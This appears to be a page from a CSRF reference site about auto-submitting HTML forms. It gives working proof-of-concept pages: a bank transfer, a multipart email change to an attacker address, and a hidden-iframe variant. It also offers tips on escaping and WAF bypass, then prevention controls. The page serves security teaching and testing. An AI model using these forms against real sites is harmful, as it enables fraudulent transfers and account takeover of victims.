Skip to content
highCVSS 8.1CWE-352A01:2021 – Broken Access Control

Auto-Submitting Forms

The urlencoded and multipart form: the only primitive that issues a cross-site request with a body, ambient credentials, and no preflight.

Why the form is special

The HTML form predates the same-origin policy, CORS, and every modern security header. It has never been subject to any of them, and it cannot be without breaking a large fraction of the web. That makes it the single most capable CSRF primitive:

  • It issues a cross-origin request with a body.
  • It attaches ambient credentials automatically.
  • It never preflights, because a form can only emit the three CORS-safelisted content types.
  • It is a top-level navigation, which is the only shape that still carries a Lax or unset cookie.

Everything else on this site is a weaker version of it. fetch can set more headers but preflights and is a subresource. <img> is silent but cannot carry a body. The form is the baseline, and if a form cannot reach the endpoint, usually nothing can.

Its one limit is the method: HTML supports GET and POST and nothing else. A method="PUT" attribute does not error, it silently falls back to GET — which is how a hand-written PoC ends up testing something other than what it claims. Work around it with a method override.

The standard form

HTMLattacker.example/index.htmlVulnerable
<!doctype html>
<html>
  <body>
    <form id="poc" action="https://bank.example/transfer" method="POST"
          enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="to" value="attacker" />
      <input type="hidden" name="amount" value="5000" />
    </form>
    <!-- Submitted from an inline script rather than <body onload> so the PoC
         survives a host whose CSP forbids inline event handlers but allows
         inline scripts, and so it fires before the page can be read. -->
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

The escaping rule that breaks hand-written PoCs

Values in a form PoC are HTML-escaped, not URL-escaped. The browser decodes the attribute first, then applies the enctype's own encoding. Escape twice and you ship a literal &quot; or %26 in the request body.

So for value="a&b" you write value="a&amp;b" — the HTML entity — and the browser sends a%26b on the wire. Writing value="a%26b" sends the literal five characters a%26b, which is a different value.

This is the most common reason a PoC "doesn't work" against an endpoint that is genuinely vulnerable, and it gets worse with the text/plain JSON trick, where the field name is full of double quotes that all need escaping. The PoC Generator handles both layers; the build fails if it ever stops round-tripping.

The three enctypes

enctypeWire formatWhen to reach for it
application/x-www-form-urlencodedto=attacker&amount=5000The default and the right first try. Matches what the application's own form sends, so the server-side parser is guaranteed to accept it.
multipart/form-dataBoundary-delimited parts, one per fieldRequired for file upload. Also worth trying when urlencoded is rejected: some frameworks and WAFs parse the two differently, which is a bypass in itself.
text/plainname=value, CRLF-separated, no encoding at allThe vehicle for JSON smuggling. Values are written verbatim, so a value containing a newline corrupts the body — which is exactly why the JSON variant stringifies first.

Multipart and file upload

HTMLVulnerable
<!doctype html>
<html>
  <body>
    <!-- Worth trying whenever the urlencoded version is rejected. A WAF or a
         framework middleware that parses one encoding and not the other is a
         common and easily-missed bypass. -->
    <form id="poc" action="https://app.example/settings" method="POST"
          enctype="multipart/form-data">
      <input type="hidden" name="email" value="attacker@evil.example" />
    </form>
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

Submitting into a frame costs you the attack

HTMLVulnerable
<!doctype html>
<html>
  <body>
    <!-- A tempting trick: aim the submit at a hidden iframe so the victim
         never leaves the attacker's page.

         In 2026 this usually DESTROYS the attack. Submitting into a named
         frame is a subresource navigation, not a top-level one -- so the
         request loses the one property that still earns it a cookie under
         Lax or an unset attribute. It works only against SameSite=None, and
         then only in Chromium.

         Use it when you have confirmed SameSite=None. Otherwise accept the
         visible navigation, or use a popup, which stays top-level. -->
    <form id="poc" action="https://bank.example/transfer" method="POST" target="sink">
      <input type="hidden" name="to" value="attacker" />
    </form>
    <iframe name="sink" style="display:none"></iframe>
    <script>document.getElementById('poc').submit()</script>
  </body>
</html>

Prevention

A form request is indistinguishable from a legitimate one at the body level, so the defence has to be a parameter the attacker cannot supply or a header they cannot forge:

  • A synchronizer token on every state-changing route. See The Synchronizer Token.
  • Reject Sec-Fetch-Site: cross-site for state-changing requests. A form navigation sends Sec-Fetch-Site: cross-site and Sec-Fetch-Mode: navigate; the browser sets both and a page cannot override them. This is the cheapest effective control available in 2026 — see Origin, Referer, and Fetch Metadata.
  • SameSite=Lax explicitly, so the behaviour is the same in every engine rather than Chromium-only.
  • Enforce the content type. An API that requires application/json and rejects everything else cannot be reached by any form, because a form cannot emit it. Reject, do not merely prefer.
  • Re-authenticate for high-value actions — password change, email change, adding a payment method. A form cannot supply the current password.